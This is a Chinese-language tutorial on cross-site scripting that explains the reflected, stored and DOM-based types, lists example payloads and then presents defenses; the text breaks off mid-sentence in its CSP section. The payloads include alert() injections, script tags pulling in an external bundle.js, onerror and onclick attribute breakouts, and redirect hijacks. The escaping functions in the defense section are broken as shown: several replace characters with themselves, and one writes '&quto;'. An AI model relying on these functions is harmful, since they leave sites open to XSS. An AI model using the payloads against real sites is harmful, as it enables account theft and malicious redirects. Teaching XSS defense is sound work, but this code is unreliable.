XSS 攻击实战
什么是XSS?
为了与层叠样式表css区分,将跨站脚本简写为XSS。
XSS攻击原理
XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。
XSS,两个层次是服务器端和浏览器端。协议就是HTML/CSS/JavaScript。对于服务器端来说,html是数据(字符串);对于浏览器端来说,html是指令。XSS的原理,就是破坏html/css/js的构造。
主要危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
XSS根据效果不同可以分为三类
- 反射型XSS(reflected)
- 存储型XSS(stored)
- DOM Based XSS
黑客更喜欢“存储型”,或者说“存储型”的“危害”更大
1.反射型XSS
反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含危险XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。
这类通常使用URL,具体流程:
1、Alice给Bob发送一个恶意构造了Web的URL。
2、Bob点击并查看了这个URL。
3、恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
4、具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
5、Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
举个列子:
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
// 有时攻击者会伪造一个图片,让你点击后链接跳转URL
服务端代码片段,只做了一个简单的字符串连接就返回给客户端。
Chrome是有做处理的相对比较安全,但是Firefox就没有。
2.存储型XSS
存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。
例如:该网页有一个发表评论的功能,该评论会写入后台数据库,其他用户访问留言板的时候,会从数据库中加载出所有的评论并执行了相应的 js 代码。
// 留言解析攻击
<td><script src='https://bundle.js'></script></td>
<textarea><script src='https://bundle.js'></script></textarea>
// 诱导到钓鱼网站
<img onclick="window.location.href='http://www.baidu.com'" width='300' src='img/webwxgetmsgimg.jpg'/>
// 劫持流量实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>
3.DOM型XSS
与前两者完全不同,DOM型XSS是纯前端的XSS漏洞,XSS直接通过浏览器进行解析,就完成攻击。
基于DOM的XSS有时也称为type0XSS。如果服务端对DOM中的数据没有经过严格确认,当用户能够通过交互动态地检查和修改浏览器页面中DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
实例1:包括\\
符号也要复制进去
这种攻击方式是因为其操作处于双引号之内,系统转义了双引号导致变量无法“escape”
<body>
<input type="text" id="text">
<input type="button" id="s" value="按钮" onclick="test()">
<div id='div'></div>
<a href="ggg" onclick="alert(/xss/)" \\'>示范2</a>
<script>
function test(){
var str = document.getElementById('text').value;
document.getElementById("div").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
</body>
我们在文本输入框输入下面:(注意含有空格)
' οnclick=alert(/xss/) //
或者
' οnclick=alert(/xss/) \\
或者
' οnclick=alert(/xss/) /\
输入后,页面代码就变成了:
<a href='' onclick=alert(/xss/)//' >生成的link</a>
首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符”//"注释掉第二个单引号。
点击这个新生成的连接,脚本将被执行:
你可以拿下面的img图片用上面的实例测试也可以有类似效果
<img src="xxx" onerror=alert("/xss/");>
实例2:
<body>
<input type="text" id="text">
<input type="button" id="s" value="按钮" onclick="test()">
<div id='div'></div><br/>
<script>
function test(){
var str = document.getElementById('text').value;
document.getElementById("div").innerHTML = "<img src="+'gggg '+str+" />";
}
// 注意src的值gggg后面附带空格的
</script>
</body>
注意src的值gggg后面附带空格的,若是忘写空格,则必须要文本输入框中首个字符是空格
我们在文本输入框输入下面:: (注意含有空格)
' onerror=alert(/我是xss/)
反射型XSS效果与存储型XSS和DOM型XSS唯一的差别是反射型XSS直接把GET中的参数显示在网页上,没有经过数据库,而存储型XSS是先存储到服务器上,再回显到网页的。则DOM型XSS是单纯的前端漏洞
(2016.3.16修改,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的)
XSS攻击的注入点
- HTML节点内容
- HTML属性
- JavaScript代码 (字符串提前关闭)
- 富文本
1、HTML节点内容
这个其实就是我之前演示的,HTML节点中暗藏攻击脚本。
2、HTML属性
这里img的src属性是由用户传递过来的值,当用户把图片地址写成错误的:1"%20onerror="alert(%27哈哈被攻击%27)
3、JavaScript代码 (字符串提前关闭)
当JavaScript代码中有一个变量是由用户提供的数据,这个数据也有可能之前被写入了数据库。如下图,当用户输入的内容为:
小柚子";alert(%27哈哈你被攻击了!%27);"
**4、富文本 **
大家都知道,富文本其实就是一段HTML。既然它是一段HTML,那么就存在XSS攻击。而且富文本攻击的防御相对比较麻烦。
XSS防御措施
chrome浏览器自带防御,可拦截反射性XSS(HTML内容和属性),js和富文本的无法拦截,所以我们必须得自己做一些防御手段。
反射性XSS的url处理,采用插值或过滤
- 推荐使用插值
- encodeURI
1、HTML节点内容的防御
将用户输入的内容进行转义:
// 后端代码
var escapeHtml = function(str) {
str = str.replace(/</g,'<');
str = str.replace(/>/g,'>');
return str;
}
ctx.render('index', {comments, from: escapeHtml(ctx.query.from || '')});
2、HTML属性的防御
对空格,单引号,双引号进行转义
// 后端代码
var escapeHtmlProperty = function (str) {
if(!str) return '';
str = str.replace(/"/g,'&quto;');
str = str.replace(/'/g,''');
str = str.replace(/ /g,' ');
return str;
}
ctx.render('index', {posts, comments,
from:ctx.query.from || '',
avatarId:escapeHtmlProperty(ctx.query.avatarId || '')});
3、JavaScript的防御
对引号进行转义
var escapeForJS = function(str){
if(!str) return '';
str = str.replace(/\\/g,'\\\\');
str = str.replace(/"/g,'\\"');
return str;
}
4、富文本的防御
富文本的情况非常的复杂,js可以藏在标签里,超链接url里,何种属性里。
<script>alert(1)</script>
<a href="javascript:alert(1)"></a>
<img src="abc" onerror="alert(1)"/>
所以我们不能过用上面富文本的方法做简单的转义。因为情况实在太多了。
现在我们换个思路,
提供两种过滤的办法:比较复杂,需要用白名单过滤,不在白名单中的都转义
1)黑名单
我们可以把<script/> onerror
这种危险标签或者属性纳入黑名单,过滤掉它。但是我们想,这种方式你要考虑很多情况,你也有可能漏掉一些情况等。
2)白名单
这种方式只允许部分标签和属性。不在这个白名单中的,一律过滤掉它。但是这种方式编码有点麻烦,我们需要去解析html树状结构,然后进行过滤,把过滤后安全的html在输出。
这里提供一个包,帮助我们去解析html树状结构,它使用起来和jquery非常的类似。
npm install cheerio --save
var xssFilter = function(html) {
if(!html) return '';
var cheerio = require('cheerio');
var $ = cheerio.load(html);
//白名单
var whiteList = {
'html' : [''],
'body' : [''],
'head' : [''],
'div' : ['class'],
'img' : ['src'],
'a' : ['href'],
'font':['size','color']
};
$('*').each(function(index,elem){
if(!whiteList[elem.name]) {
$(elem).remove();
return;
}
for(var attr in elem.attribs) {
if(whiteList[elem.name].indexOf(attr) === -1) {
$(elem).attr(attr,null);
}
}
});
return $.html();
}
console.log(xssFilter('<div><font color="red">你好</font><a href="http://www.baidu.com">百度</a><script>alert("哈哈你被攻击了")</script></div>'));
大家可以看到:
<script>
不在白名单中,所以被过滤掉了。
5、CSP(Content Security Policy)
内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码(